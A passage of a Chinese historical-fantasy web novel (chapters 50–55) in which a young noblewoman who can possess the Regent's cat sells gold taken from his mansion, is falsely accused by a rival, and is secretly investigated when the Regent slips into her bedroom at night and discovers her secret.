掌柜不问昨天的金手镯,可能是真的没看过通缉令。
但掌柜都不砍价,她想不出什么理由,总不能是太有钱了吧?
今天的黄金,连重量都没称。
福宁到底是拿钱的人,不会真的提出疑惑,笑着将银票塞进荷包里,就准备离开了。
忽听门外一阵疾驰,喧闹得很。
“王府抓贼,贼人留下!闲人散开!”
福宁心一凛,将小荷包打了个死结,系在腰上。
第50章 我不是能人,我是能忍。
身侧,是掌柜嗤笑一声,“这话说的,怪好笑呢。”
阿婵小幅度点头,表示附和,“小姐,看来摄政王府要抓的大盗就在附近,我们快走吧,免得被殃及了。”
福宁眼皮直跳,王府为什么来西市抓人?是得到了什么消息?
难道……崔兰亭真的没有证据,凭着一张嘴去揭发她了?
不能吧!?
她心乱如麻,一边安慰自己不要慌,拉着阿婵的手,若无其事地跨出照金楼,准备溜掉。
事情不会那么糟糕的,天不会绝了她的。
嗯!应该不是冲着她来的!
照金楼的门外的大街停了数十匹棕马。
不远处,路人们纷纷后退、低声议论,与棕马原地踏蹄的声音夹杂在一起。
福宁没有抬头去看马背上的那些人,只牵着阿婵,侧着身走,降低存在感。
耳边一阵风起,危险令周围空气也跟着凝固。
只听簌地一声,突如其来的箭矢射向她……的面前。
她惊恐地瞪大眼,箭矢自面前飞过,距离面颊只有一尺距离,射中墙壁后,掉落在她的绣鞋边上。
“啊!”福宁顿住脚,捂住嘴。
她转身,朝着箭尾的方向望去,领头的谢珩玉抬着弧度分明的下颚,漫不经心地将弓箭扔给手下,他抬眸,眉头轻拢,睥睨着她,“要跑哪儿去。”
福宁握着阿婵的手发了冷汗,看着谢珩玉高高在上将她视为蝼蚁的模样,咬碎了后槽牙,“听闻王爷要抓贼人,让闲人散开,我正要回家去。”
谢珩玉垂眸,像是没听到她的话,翻身下马,玄色衣袍在空中跟着翻转。
亲卫排成两侧守在照金楼外,为他让出一条宽阔道路。
他不再看她一眼,踏步入内。
白昼走到福宁面前,虽然内心还是不相信她有本事偷黄金,但方才见她要跑的样子,真的很像心虚。
“赵小姐,你可不是闲人,你有可能是能人,”白昼阴阳怪气,“请吧,叫大家看看,赵小姐卖的是什么。”
福宁握着阿婵的手又紧了紧。
阿婵感受到后,脸色都变了。
总不能真是小姐偷的黄金吧?难道崔公子说的是真的?
不!小姐不是这样的人!她要相信小姐!
福宁看着白昼带着恶意的表情,“你们怀疑我?为何——”
白昼不想废话,厉声道:“快些,难道要让王爷等你吗!”
随着他话音落下,周围的王府亲卫都围了上来,个个凶神恶煞。
福宁没本事,忍着脾气,裙下的绣鞋用力地碾了碾箭矢。
她松开阿婵的手腕,跟进照金楼。
想到刚才卖掉的首饰中的黄金物件,她心中没底。
虽未被通缉令画出来,但不知谢珩玉能不能认出来,那是她在“金山”上捞的赃物。
“赵小姐,你这么磨蹭,心里有鬼吧?”白昼催促。
福宁忍他很久了,瞪他一眼,“就你快,我畏惧王爷威严不成吗?”
白昼:“你……”
她快步跑到掌柜身侧,此时,店内的顾客已经走光了,掌柜笑得一脸谄媚讨好,“摄政王亲临,小店蓬荜生辉,不知王爷是想买些什么,奴家可以亲自送货上门的。”
掌柜一边说,一边为谢珩玉斟茶,捏着茶壶的手腕露出,一连串的黄金镯子交叠。
谢珩玉靠坐在太师椅上,没接茶,视线落在赵福宁那张笑不出来的小脸上。
他倒是有点想笑,然而一想到她可能真是始作俑者,便没笑的想法了。
她长长的睫毛垂下,他看不着她的眼神,冷声道:“抬头。”
还抬头呢!当他选妃呢!
福宁抿着嘴,微微抬头,“王爷是怀疑我是大盗吗?我吗?”
问了两遍,她纯净的眸中透着无辜。
是不是冤枉,很快就能知道。
谢珩玉似寒潭深水般的双眸
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划过轻嘲,哪怕命令掌柜的时候,也还是盯着赵福宁,“她方才卖了什么,拿出来。”
福宁的头又低下去了,她好像真的没法完全不心虚地跟谢珩玉对视。
主要是他那个眼神,真的很像要杀了她。
耳边响起掌柜恭敬的回话,“是。”
掌柜转身去了刚才的隔间。
等待的过程中,很漫长。
福宁拧着眉,心里想着,待会万一谢珩玉认出了丢失的黄金,她就咬死是巧合,碰巧她也有。
没错!就咬死不认!
正紧张时刻,门外一道不容忽视的仇恨目光,叫福宁转移了注意。
江月娇?
没错,就是江月娇。
江月娇就是想来看她最后一眼,确认今天会不会是她的忌日。
得逞的嘴脸刚露出笑,就与福宁的目光,江月娇顿时收了回去,若无其事地准备退远些看戏,免得让王府的人瞧出端倪,看出揭发信是出于自己之手。
正要远离,就听里头漠然道:“带进来。”
带谁?
江月娇还没想明白,两手就被架住,抬了进去。
掌柜正好这时捧着首饰盒从隔间出来,见着这一幕,心中讶异,这一位的待遇比赵小姐可差不多。
赵小姐是大大方方走进来的。
“王爷,臣女做错了什么……”江月娇已经被带到了谢珩玉面前,不可置信却又无可奈何。
谢珩玉不理会,一旁的白昼代为解答,“江小姐,这是你期待的事,想看可以进来看,没必要在门外鬼鬼祟祟的。”
江月娇心虚,“臣女只是路过。”
白昼:“做人敞亮些,装什么。”
江月娇错愕:“……”也太直白了。
赵福宁听明白了,愤慨道:“江月娇!是你向王爷,污蔑我?”
江月娇脸上挂不住,“皎皎,我是不想你陷得太深,是为你好,是不是污蔑,待会不就知道了?”
第51章 你在命令本王做事?
掌柜适时插嘴,“王爷,赵姑娘卖的首饰都在这里了。”将四个首饰盒放到了谢珩玉面前的桌面上,“要现在打开吗?”
谢珩玉颔首,掌柜动作轻柔地逐一打开首饰盒。
江月娇期待炽热的目光投向首饰盒。
福宁紧张地咽了咽口水,没去看首饰盒,她自己卖了什么,她自己还能不知道么?
她现在只盼着谢珩玉和白昼认不出来,故,注意力都放在谢珩玉的脸上。
她一眨不眨地望着对方的脸,见对方表情没有任何变化,她琢磨不透。
“王爷,没有。”白昼翻了翻,道。
嗯??
福宁突然很想凑过去看首饰盒。
她伸着脖子,还是被开着的首饰盖挡住。
看来,白昼真的认不出来啊!
她的心又放回了肚子里。
江月娇很激动,“不可能!”
不可能!
怎么会没有?!
江月娇慌乱极了,扑到首饰盒前,差点碰到谢珩玉的膝盖。
他下意识收了腿,嫌恶地皱眉。
“不可能……怎么会没有……”江月娇迅速地想着各种可能。
她怎么也没料到,让路边孩童送的信,摄政王府也能查到她身上,如今首饰盒里没有赃物,倒成了是她构陷赵福宁、戏耍了摄政王……
她心中害怕承担摄政王的怒火,黄金必须是赵福宁偷的!
“臣女知道了!她一定是提早销赃了,可能不在照金楼,或许在别的地方!”
江月娇慌乱的样子,极为狼狈。
王府的亲卫、白昼、连带照金楼的伙计、掌柜,都在冷眼看着她。
白昼开口打破她的幻想,“昨日全城的黄金铺都搜查过了,江小姐,即便是情敌,也不该用这么下作的手段吧?你竟然妄图利用王爷帮你对付情敌?”
说完又很松弛地补充,“也不该说是情敌,是你单方面抢了赵小姐的未婚夫。”
当事人赵福宁惊诧地看了眼白昼,白昼说话直白又毒舌,没想到他今天还能帮自己说话。
受宠若惊。
而坐着的谢珩玉随意的视线还落在首饰盒上,没有打断白昼的话,就是一种认可。
福宁内心刚有些触动,就听白昼继续道——
“赵家罪恶滔天、赵小姐心思不正,哪怕她再坏,论恶毒阴险,江小姐也比她更甚。”
……
江月娇惨白着脸,恶毒阴险这些词,落在自己身上会永远都洗不掉,这里这么多人,若传出去……
抬头,她对上赵福宁冷淡的脸,心一梗,不甘与嫉恨交织,她跪在地上恳求,“王爷明鉴,臣女没有说谎,臣女知道了!黄金一定还藏在赵家!王爷搜一搜!”
恳求时,她的手抬起,就要碰到谢珩玉的下摆。
他戾气横生眉眼之间,在她的手碰到下摆的那一刻,脚便踹了过去,“你在命令本王做事?”
将她的手腕踹远些。
江月娇手上吃痛,人朝一侧差点侧倒,“臣女不敢,臣女只是——”
谢珩玉起身,阴冷打断:“够了。”
“来人,将江小姐送回伯府,告诉寿安伯,若不会教养女儿,就送到宫里去倒夜壶!”
想想,还是忍不了,“寿安伯罚俸一年。”
江月娇哀怨懊悔地被王府亲卫带走了,这次,整条街都看见了。
福宁一语不发地站着,谢珩玉扫了她一眼,没什么想说的,心中的未解之谜仍没解开。
直到所有人散去,福宁才走到首饰盒前。
里面的首饰……竟然没有她拿来的黄金!
不止是没有赃物,连她自己的也不翼而飞了。
福宁朝掌
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柜望去,对方笑而不语,默默将首饰盒收了起来。
难道掌柜知道她的黄金来路,所以干脆全部拿掉了吗?
可是掌柜为什么要帮她?
女掌柜似乎能看穿她心中疑问,嫣然一笑,“姑娘,做生意的都怕惹火上身,不论你的黄金是何来路,都不能在我照金楼出事。”
“不过……”女掌柜卖了个关子,凑近一步,用只有两个人能听见的声音道,“反正货一收火一熔,谁也抓不到证据,往后你有需要,还是可以光顾照金楼。”
女掌柜显然是对来路门清了,却仍没有顾忌。
福宁有些不敢再卖,“我……”
女掌柜伸出食指,指腹抵在她的唇瓣上制止她说话,温柔地朝她眨了眨眼,“赵小姐,昔日你哥哥帮助过我,我这么说,你明白了吗?”
见她懵懂还没相信,掌柜轻松道:“当然,赵小姐若手头不宽裕,找我借银子也可以的。”
借肯定是不会借的。
想到话本子里因借了高额钱款、最后还不上来被打断手脚的人,福宁打了个寒颤。
她还是第一次知道哥哥与照金楼掌柜有交集,现在也没法问哥哥,心中没有彻底放下戒心,“不,不用了,谢谢你的好意。”
隔间内,男人正坐着喝茶,几件黄金首饰赫然摆在他的眼前。
听见少女如受惊的小兔子一般弱弱又不失礼貌的声音,他面上浮起笑意,随意拿起桌上的黄金敲了敲。
待赵福宁走后,他随意将黄金扔回桌上。
发出一声脆响。
女掌柜听闻隔间内有响动,心一紧,“谁?!”
她一改妩媚,快步走入隔间。
在见到软椅上的男人、地上打开的木板还未阖上时,她震惊之余,立马关上门,恭敬跪下:
“主人。”
第52章 给哥哥打小报告
“您怎么亲自来了,属下不会让赵姑娘被摄政王发现的。”
谢燎没什么波澜地表扬,“你做的很好,倒是她……”
明明信中说了可以求助于他。
怎么非要卖首饰卖黄金。
这些小物件倒还好,难道摄政王府失窃的黄金屋,真的是她偷的?
黄金屋那么大,怎么偷?她在哪儿学的扒手术?
谢燎琢磨不透,“她卖的首饰,全部原样收好。”
女掌柜:“是。”
*
福宁揣着装着巨款的荷包回了家,一路上阿婵欲言又止,一副想问又不敢问的模样。
阿婵张了张嘴,最后只同仇敌忾道:“江小姐实在太过分了,以前装得温柔关切地对小姐那么好,现在为了陷害小姐,连脸面都不要了!今日自食恶果,真是活该!”
说话时,目光一直瞅着福宁的表情。
福宁知道她心有疑惑,然有些事已经不是常理能解释通的,干脆否认,“放心吧,我哪有本事行偷窃之事,崔兰亭与江月娇纯属污蔑。”
阿婵听了准话,明显松了口气。
到了家,福宁将四百两交给了母亲,只说是卖了首饰换来的。
她面上没有不舍,在母亲的眼中,却是委曲求全还要强颜欢笑。
女儿这么懂事,容婉红了眼眶,“囡囡,委屈你了,为了你哥哥读书……”
“娘,我没事,上次我不过说说气话罢了,几件首饰哪有哥哥读书重要?”福宁真心的,“邕州书院被誉为天下第一书院,旁人想去还去不了呢,哥哥天资过人,将来必会有出息,带我们赵家东山再起!”
容婉抬手摸着女儿的脑袋,对她的话颇为认同。
长子赵凫泽自小就比同龄人更聪慧、有主见,向来是别家大人夸赞、羡慕的对象。
那邕州书院里汇聚了多国人才,要么有特殊的一技之长,要么全科出众,才能进入书院学习,并非是权贵世族的公子想进就能进的。
以往,从书院学成归来的人,不用科举也能被朝廷重用。
当然,前提是……朝廷不能把持在摄政王的手里,摄政王看赵家不顺眼,只怕儿子将来的路也并非坦途。
容婉叹着气,没将丧气的话说出来,怕女儿担忧,“娘这里还有一百两,待会你给你哥哥寄出去……家里的事,还是不要跟他说了,省得他读书分心。”
福宁不认同,“还是说一声吧,万一哪天真的抄家了,或者要全家流放,叫哥哥有个准备,至少来得及跑。”
容婉:“……”
福宁打定主意,忙着起身,嘴里嘀咕着,“二皇子贪财又不讲义气,我也要跟哥哥说,让他以后在外面交朋友,眼睛擦亮一点!”
最后,一家人想着,反正路费是一样的,干脆多写几封信,各自抒发了内心的情感,在日落前,将银子与信件送去了民间信所。
信差要次日出发。
所有需要寄出的东西,全部被放在信所的库房里。
当夜,一黑影潜入信所,偷走了要捎往邕州书院的信件和钱,再跃上房梁,去的方向赫然是城北权贵**地
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如赵家这类背着案子在身,正在严查中的人家,都在京影卫监督的范围内,别说从民信所寄出的物件,哪怕是从家里飞起来的信鸽,等飞远些都得被京影卫射下来检查一番,无异常才能送出去。
有异常当然是最好,直接证据送上门。
摄政王府。
白昼收到京影卫送来的信件时,道士的仪式还在继续,在王府打转一个下午了,水也是喷了一地。
天都黑了,还没说出个所以然来。
谢珩玉没功夫一直看着道士,就回书房批奏折,自打照金楼回来,他隐隐觉得哪里不对。
表面上赵福宁清白得很,可真的这么简单吗?
就算江二愚蠢且阴险,真的能空穴来风、傻乎乎去构陷她吗?
人一旦开始觉得不对劲,就会觉得处处都很可疑。
谢珩玉忽然想起,第一次见到赵福宁的时候,是在回府的门外,那次赵家父女跪在他面前,她披着头发,让人误会是来自荐枕席的。
当时,她就“不安好心”地盯着他怀里的小福。
再后来……她又能那般凑巧地救了小福。
大夫说小福要喂药三天才能好转,可她住进王府的那夜,小福从虚弱的状态迅速好转,甚至对她十分亲昵,连他都带不走。
细细想来,处处都不对,可处处又连不起来。
谢珩玉放下政务,看着正在吃东西的小福,一把拉捞起,起身走出书房。
正在驱邪的道士骤然转身,桃木剑直直地朝他的方向指来,“找到了!”
第53章 他心软了
“天地玄黄,妖邪休狂!”
“魑魅魍魉,阳间福地,修得擅闯,快速离去!”
水喷洒上桃木剑,“道士”感受到前方男人疏冷肃杀的视线,顶着压力挥剑上前,对着他怀中的猫——
“贫道今日,就替天行道,嘿——退!”
……
四周寂静,小福新奇地盯着眼前的木剑,爪爪张开花,想要去抓。
“道士”盯着小福,见它丝毫不怕的模样,面上凶狠地往前进,“火除邪祟,妖邪退散!”
“道士”旋转一圈,将一张符纸抛出啦,在空中燃烧成一团火。
小福被火惊住,小身体一动不动了。
它眨了眨眼,再睁眼时,惊奇的瞳孔变得懵懂,随后瞳孔放大。
“道士”用桃木剑,往前进,“邪祟退!退!”
福宁还是第一次见这场面。
一来,就对上“道士”拿着一把木剑朝自己“刺”来,嘴里还喊着退。
她确实被吓得往后退了退,开花的爪子当即抓紧了谢珩玉的袖子。
感受到怀中的不安,谢珩玉搂紧了些,拧着眉看着放肆的“道士”,“怎么回事?”
“道士”咳嗽一声,将木剑放下,煞有其事地说道:“王爷,贫道看,这问题就出在您怀中的这只猫身上。”
福宁这时才明白,摄政王府正在驱邪,现在她被断定成了“邪祟”。
客观来说,这“道士”有点道行在身上的呀!
主观来说,她有点害怕。
谢珩玉安抚地摸了摸她的脑袋,不置可否,“什么问题?”
“道士”又咳嗽一声,像是极力想着说辞。
等了半晌,也没有说出个所以然来,谢珩玉右手摸着怀里那颗躁动的脑袋,不耐烦地打断,“你到底知不知道。”
“当然知道!”“道士”快速想着,“敢问王爷,最近您府中是不是发生了一些常理难以解释的事?困扰着您?”
谢珩玉微微颔首。
“道士”:“那就对了,这问题的关键就出在这只猫身上,敢问王爷,这只猫最近是不是出过一些大事,生命攸关的大事?”
也没错,小福溺水了。
但,这应该不是什么秘密。
谢珩玉面色略显凝重,“道士”见状,底气更足,“就在它生命攸关的时刻,有邪祟救了它,这就是王府连日发生不平事的原因,它被邪祟缠上了。”
被称为邪祟的福宁一愣一愣的,原本还以为“道士”有点本事,她还害怕呢。
现在听来,根本就是瞎编。
她可不是在小福溺水之后,才进小福的身的。
而且她也不是邪祟,她是正正经经、本本分分的人!
那厢,白昼惊疑出声,“道长,难道最近王府消失的黄金,都与邪祟有关吗,那邪祟喜欢黄金?”
“道士”此时才知,王府的不平事就是黄金不见了,他斟酌一番,一本正经地开口,“那便对了,猫命属阴,命悬一线时阴中阴,因此与邪祟有了瓜葛,那邪祟喜欢黄金,这才将黄金都拿走了。”
白昼恍然大悟,难怪昨天王爷说黄金凭空消失了,原来是真的,“那要怎么做,才能让邪祟放过小福?给邪祟准备更多黄金?”
“那不成,”道士觉得这样太容易了,“邪祟随时有可能进小猫的身体,给越多黄金,她越舍不得离开。”
“得做法七七四十九天,方显成效。”
福宁盯着“道士”那双转来转去的眼睛,从某种程度上,她与这“道士”也算是殊途同归了。
她想拿王府的黄金。
“道士”想骗王府的钱。
她想,摄政王应该不会相信“道士”的吧?这么离谱的骗术?
但她不知道的是,若在昨日之前,谢珩玉的确不会相信。
他向来不迷信。
奈何,在亲眼见过惊骇的黄金消失术后,他变了,“从明日起,道长开坛做法吧,有何需要与管家说。”
“道士”有了一份长达四十九天的活计,收了东西被管家带去了住处先住下。
谢珩玉手上还揣着福宁,忽听白昼欲言又止地问道:“王爷,这……小福此刻真的还是小福吗?万一是邪祟……”
闻言,福宁感觉后背汗**都要立起了。
同时,背部快要被某人盯出洞来。
上方,响起谢珩玉的冷笑,他的手掌忽然扼住她的脖颈。
明明他的动作很轻,却给她很危险的感觉。
“会是邪祟吗?”他低问,明知不会有人回答。
谢珩玉又想起了一个人,一个很可疑的害他想了一下午的人。
他走到房中烛光下,将怀中毛茸茸的后颈提起来,迫使她那双蓝宝石的眼睛与他对上。
福宁四爪悬空,不安地挣扎着。
与他四目相对,他的眼中没有半分温柔宠爱,只有质疑与阴郁。
她心虚地移开目光,看向别处,却听他声音低沉地说出了一句,令她胆寒的话——
“你若是邪祟,难道是与姓赵的有关系?”
!!!
福宁连挣扎都不敢使劲了。
“难道**今日所言非虚,黄金当真在赵福宁手中?”这话,谢珩玉不是对她说的,更像是揣测。
但她心里更慌了,看来黄金屋也得尽快出手了!不然真等他上门搜查,她跳进黄河都洗不清
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啊!
不,她本来就在黄河里。
一旁的白昼听得云里雾里,没有插嘴。
直到谢珩玉冷着脸,将她放下,白昼才将收来的信件上交,“王爷,这是赵家寄往邕州书院,三封信和五百两银子,您要看看吗?属下已经查看过了,没什么问题。”
“除了……赵小姐在信中骂了二皇子。”
想到信中的内容,他都想笑。
赵福宁脑袋缓缓扬起,看着白昼手里的信件,没想到摄政王府连信件都要监视,还有没有一点隐私了!
“本王瞧瞧。”谢珩玉伸手,三封信就落在了他的手上。
福宁心中愤恨,因着自己“邪祟”嫌疑在身,她不敢轻举妄动,也不去阻止谢珩玉看信。
却见他看着看着发出一声嗤笑,看着看着,又发出一声冷哼。
不是,她到底是写什么让他无语的东西了?连她自己都好奇了!
最后,谢珩玉合上信,沉寂许久的眼眸闪过一分恶意与兴味,“将这信,拿去给本王的好侄儿看一看。”
好侄儿……那不就是二皇子?!
福宁瞪大眼睛,低头盯着地毯,身体一动不动。
她有点不好了。
她的信里说了二皇子什么坏话,她自己知道。
要是给二皇子看的话,她会死的吧。
谢珩玉就是故意的吧!
他能不能做个人啊!
他才是个邪祟吧!
没人知道福宁的心理活动,白昼将信收好,也觉得十分有意思,“属下这就去送。”
白昼拿着信件转身,全然忘了案牍上的五百两银子,正要踏出房门,案牍前的人忽然改了想法——
“罢了,原样送回民信局。”
白昼诧异地回头,王爷怎么也开始想一出是一出了?
谢珩玉的视线落在案牍上那只蓝色的钱袋子上,眼前仿佛闪过少女紧紧地将荷包系在腰间的模样,生怕被人抢了去。
还有,白日摆在他面前的那几盒首饰……
谢珩玉对首饰没有研究,也能判断出那些是她的喜爱之物,成色不错,都被珍藏得很好。
原来,她卖首饰是为了给他哥哥寄钱。
他幽幽道:“倒也没骂错。”
说着,将钱袋子拾起,扔到白昼身上。
白昼不敢多言,领命离去。
躲在桌子下减少存在感的福宁,霎时松了口气。
信件与钱袋被送回了民信局,殊不知,在重新入库的半刻钟后,又一抹黑影潜入库中,再次将信件和钱袋子拿走。
这次,不是京影卫了。
但飞上房梁,去的方向还是城北。
这回,是二皇子府。
第54章 夜探少女香闺
正在临摹字帖的男人放下手中笔,直起身来,面无表情地拆开下属递来的信封。
信封明显有被拆过的痕迹,不用脑子想都知道是谁的手笔。
看着三封信三种字迹,每一封的情绪都不同。
赵应是将家里的情况告知儿子,并叮嘱他好好学习,
容婉则是让儿子照顾好自己,天热不要贪凉,多喝热水。
福宁嘛,先表达了对新型冰风扇的喜爱之情,再夸赞哥哥心灵手巧,最后提出对哥哥眼光的质疑,抒发对二皇子的忿忿不平的情绪。
她说:
“哥哥的锦囊乱计,还是不要计了,二皇子帮不了一点忙,还拿了咱家不少财产呢。”
她说:
“哥哥给他做了那么多年的伴读,情感都是假的,不过哥哥也不要太伤心,我看人的眼光比你还差,我的朋友比二皇子还坏。”
她说:
“所以,你在外头要擦亮眼睛,不要**朋友,要谨慎交友,交好友,交仗义的友,交良师益友!不要交落井下石的友哦。”
谢燎低头看着信,嘴角止不住上翘,忽而又压下去,翻下一页。
她说:
“聪明的哥哥,你有空的时候可以多做几个冰风扇,自己换点钱花,出门在外不要委屈了自己。”
谢燎还想翻页,发现这已经是最后一张。
他倒并没有因为书信中的言语而生气,拿起蓝色的钱袋子,颠了颠重量,没有打开,拿着钱袋子转身,直接放进桌下的抽屉里。
而后,坐下,用同样的信纸,与信纸上一般无二的字迹,重新抄了一遍赵福宁写的信,只是将不敬皇子的内容删掉了。
最后才唤来下属,“来人。”
这时,才有下属迈步入内,头也不敢抬起,“殿下。”
谢燎漫不经心地吩咐,“支五千两银子,与信件一起放回去。”
对于殿下的大方,下属不敢多问,这些年殿下与赵公子的关系一直很好,私下书信来往频繁,甚至远超于赵公子与赵家的家书,“是。”
一波三折的书信和钱袋子都被换了,银钱的数量大增,悄无声息地回到了民信局。
夜。
子时。
圆圆的月亮高悬。
福宁被放在了偏房,门窗紧闭,她看不见月亮。
做猫的时候,被关着,又无法说话,真的很不舒服。
她只能强迫自己早早歇下,期望早点醒来早点做回自己。
一墙之隔,谢珩玉开着窗,他穿着玄色的锦衣,仰头望着月亮,难得没了肃色,像是在怀念什么。
这个时候,守在门外的白昼,与房上、草丛里躲着的暗卫,便会一再降低自己的存在感,一点风吹草动都不敢有,怕惊扰了王爷。
他们这些陪伴王爷时间久的,都知道王爷看似心硬无情,是因为看透了人性凉薄,但王爷也并非没有软肋的。
如今,王爷唯一相信的人,就是他的兄长,当今圣上。
唯一被王爷当做亲人的人,也只有圣上。
圣上比王爷大了整整二十岁,先帝不慈,圣上对王爷来说,是如兄如父的存在。
以往,每次月圆夜,宫里都会送来一碗汤圆。
今日没有。
谢珩玉忽然问,“皇兄的病症,还是没有好转吗?”
白昼小心翼翼地答道:“是,还是不大清醒,靠着汤药维持着。”
谢珩玉沉默着,目光从月亮移开,望向左侧的那堵墙,一墙之隔,是小福。
倘若这世上真有邪祟,邪祟能救好小福,焉知不能治好皇兄呢?
想着,他眸光一亮,心底似有什么东西触动了。
他要亲手抓住这邪祟,搞清楚其中因果,不论付出任何代价,也要治好皇兄。
白昼时刻注意着王爷的情绪,忽听他吩咐道:“去拿些黄金来。”
白昼不解,还是去拿了,等回来的时候,发现卧房中的王爷已经换了一身衣裳。
夜行衣。
嗯?
“王爷要出门?”白昼拿着一根很粗的金项链,问,“王爷有何要事,不如交给属下去办?”
“不用。”谢珩玉拒绝,有些事,他还是需要自己去亲眼确认。
他携带摄月剑轻步踏出卧房,压低声吩咐,“半个时辰后,你将这黄金,放到小福身边。”
“不,还是放她手上,但莫要惊动她。”
白昼听得一头雾水,后知后觉地想到了王爷是想测试今晚的黄金会不会消失,点头道:
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“属下知道了,但,若过程中,小福醒了怎么办?”
谢珩玉不确定黄金消失与小福醒不醒有什么关系,“每隔一刻钟,你确认一下,务必让她不与黄金分开。”
白昼慎重地应下,“王爷,那您出府是有另外的事要办?”
谢珩玉睨了他一眼,没回。
关于赵福宁的事,还只是在内心怀疑。
黄金若凭空消失,极可能会出现在另一个地方,但这个地方是哪儿呢。
想到白日江二说的那些话,谢珩玉还是打算去探一探,亲自去。
他只留给白昼一片沉默,转身跃上屋顶,渐渐与夜色融为一体。
白昼握着金项链,在门外等了半个时辰,才轻手轻脚地进了偏房。
另一边,谢珩玉进赵府,简直是畅通无阻。
昔日的侍郎府,早就是黑灯瞎火,连个仆役、巡逻的护院都没见着。
他站在赵府厅堂的上方,俯瞰着,因为不知道赵福宁在哪个院子,他先走错了两个地方,直到进入第三个院子,闻到一阵熟悉的幽香,心里莫名笃定——
找到了。
幽香伴着皂角的香气,从偏房传出。
他想。
她今夜沐浴了。
谢珩玉一步步朝着卧房的方向踏去,轻轻推开房门,果然,属于她的淡淡香气萦绕上来,在他周身久久不散。
眼前是漆黑一片,月光跟着他的动作,丝丝缕缕从门缝照进房中。
凭着月光,谢珩玉进门右转。
因为没有点灯,所以每一步走得极为小心,就怕吵醒了她,那可是跳进黄河也洗不清了。
他倒是第一回夜探女子闺房。
起初内心的一点背德感,随着对邪祟的探知欲,慢慢克服。
算了,也不是第一次夜探赵福宁睡颜了,只是闺房和他的房的差别而已。
黑夜中,月光也难以照耀、看清他的神情。
他抬臂,将挡着里间的浅粉色纱幔掀开,软软的纱幔拂过粗粝的掌心,他松开,朝着床榻过去。
站在床榻边,他屏住呼吸,四周寂静,仿佛还能听见少女浅浅的呼吸声。
她没被吵醒。
他差点忘了,她睡着的时候和猪一样,根本不会被吵醒。
第55章 福宁掉马甲!秘密曝光!
记起她的特质后,谢珩玉紧绷的脸顷刻间放松许多,再也不刻意放轻脚步与动作。
他回头,去关上房门。
肆无忌惮地甚至去寻了一盏灯点上。
夜很长,为了确认黄金会不会出现在她这里,谢珩玉需要在这儿多待一会儿。
他在房中转了一圈,停在了她的梳妆台前,想到白日她当掉的那些首饰,他鬼使神差地伸手打开了妆奁盒。
里面只剩下几件首饰,可怜而孤独地,每件首饰都能单独住一个隔间,宽敞得很。
脑子里出现这个想法的同时,一抹自然的笑出现在他的唇畔。
在他意识到后,立马收敛,举着烛台回到床榻边。
毫无所惧地把灯摆在了她的床头。
烛光比月光清晰,照亮了她的脸。
她睡得很沉,浅浅的呼吸很有节奏,每一下,她的鼻尖就会动一动。
谢珩玉觉得她身边很凉快,索性一直站在她的床榻边。
到底是她的床,哪怕她没醒,他也不会坐。
冰风扇吹出的风,将她的青丝吹动,有几根时不时地刮着她的面颊,她穿着寝衣,几根发丝的尾端随着领口滑进寝衣内,不出来了。
那阵风先是吹在她的身上,再吹到他的脸上。
不知道她在冰风扇里动了什么手脚,或是滴了什么香油,那气味明明又香又甜,风亦凉爽,却叫人无端地心生躁意。
谢珩玉皱了皱眉,离远了些。
心里想着,白昼难道还没有将黄金放好吗?
昨日,明明放了黄金屋之后,没多久就消失了。
今天怎么到现在还没有?难道是他猜错了?
黄金屋的消失,与赵福宁没有关系?
忽地,房外传来疑惑的女声,“小姐,您还没歇下吗?”
谢珩玉神色一凝,迅速飞上房梁。
而后,见一女子进屋,走近床榻边,小声道:“原来是没熄灯。”
语毕,女子吹灭了烛光,再提着灯笼走出卧房,将门紧紧关上。
直到房外没了脚步声,谢珩玉才从房梁上跃下,又点燃了烛光。
见少女身边确实没有出现任何黄金,便欲先回王府看看情况。
转身出门的那一刻,他没看见,熟睡的少女脖颈上赫然出现了一条金链子。
谢珩玉前脚出了赵府,听到打更人敲响锣鼓,“天干物燥,小心火烛——”
忘了灭火烛了。
他忽然想起。
遂又转头回去。
床榻上的人睡得很沉,还没有要醒来的迹象。
谢珩玉从床头拿起烛台,最后扫了她一眼,好像有什么东西闪了闪。
他怔愣须臾,重新将烛台放下。
他看见了,赵福宁脖子上的黄金,不过一半被头发遮住了,只露出了一部分。
果然。
摄政王府消失的黄金,会出现在赵福宁的身上!
难道她真是附到了小福的身上?!
她是怎么做到的?
原来她就是道士嘴里的邪祟!
看来,消失的两个黄金屋,也是在她手上,但究竟被她藏在哪里……谢珩玉的视线绕了卧房内一圈,最后又落到她的脖子上。
黄金屋并不重要,重要的是,他知道了她的秘密。
这些时日许多说不通的事,都有了合理的解释。
比如,赵福宁为何能及时救下小福。
说不定,当时就是她附身到了小福的身上,发现了未婚夫与江二私会,跑过去挠江二,后**二踹到湖里。
呵。
所以说到底,小福的灾祸、生命危险,根本是她带来的!
白天那道士根本就是骗子!道士竟说,是邪祟救了小福,所以缠上了小福拿了黄金。
实则根本连因果关系都反了,小福若不被赵福宁缠上,根本不会有生命危险!
谢珩玉气得嘴角都有了笑的弧度,眼中泛着危险的光。
他伸手,就像傍晚扼住小福的脖子那样,手掌覆上她白皙的脖颈。
她的脖子很细,细到一只手就可以捏住、捏碎。
只需要稍稍用力,她就再无法附身祸害小福,再无法呼吸,鼻尖也不能动了。
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谢珩玉眸光幽深地盯着她,心里想着,她是何时开始附身的。
沉思片刻,他想到了,小福第一次拿黄金的时候。
哦。
大概那次乱尿,也是她。
“呵。”他这次低笑出了声。
彻底打消了直接掐死她的想法。
他倒要看看,她在不知邪恶的秘密已经暴露的时候,还能做出什么让他大开眼界的事……这也决定了,未来她是何种残酷的死法。
赵福宁的身上,是否还藏有别的秘密,她除了祸害小福的本事以外,是否还有别的能力呢?
谢珩玉握着她脖颈的手轻轻下移,为了不让她发现他今夜的试探,他要将黄金拿走。
今夜,什么都没发生过,他也不曾来过。
谢珩玉握住黄金一角,连带着几根缠绕黄金的青丝也被他握在手里。
他根本不管,粗暴地一扯。
“嗯……”少女不舒服地发出一声嘤咛。
听得谢珩玉眉峰拧紧,抓着黄金的手也明显地出现青筋。
金项链太粗了,竟没能扯断。
谢珩玉眸光黯了黯,松开手,压下烦躁,坐到床榻边。
再伸手,隔着寝衣,握住少女的一只胳膊,一把将人拉起。
闭着眼还在沉睡中的赵福宁,就这么坐了起来。
她大概是在做梦,被这么一拉扯,梦境也有了变化,她微微张嘴。
谢珩玉差点以为她醒了,瞬间屏住呼吸,抓住她胳膊的手松开,让她自己坐在榻上。
在飞上房梁和将她打晕之间纠结了一瞬,他决定选择后者。
还没动作,就听她闭着眼,嘟囔道:
“没钱了。”
“不能卖宅子。”
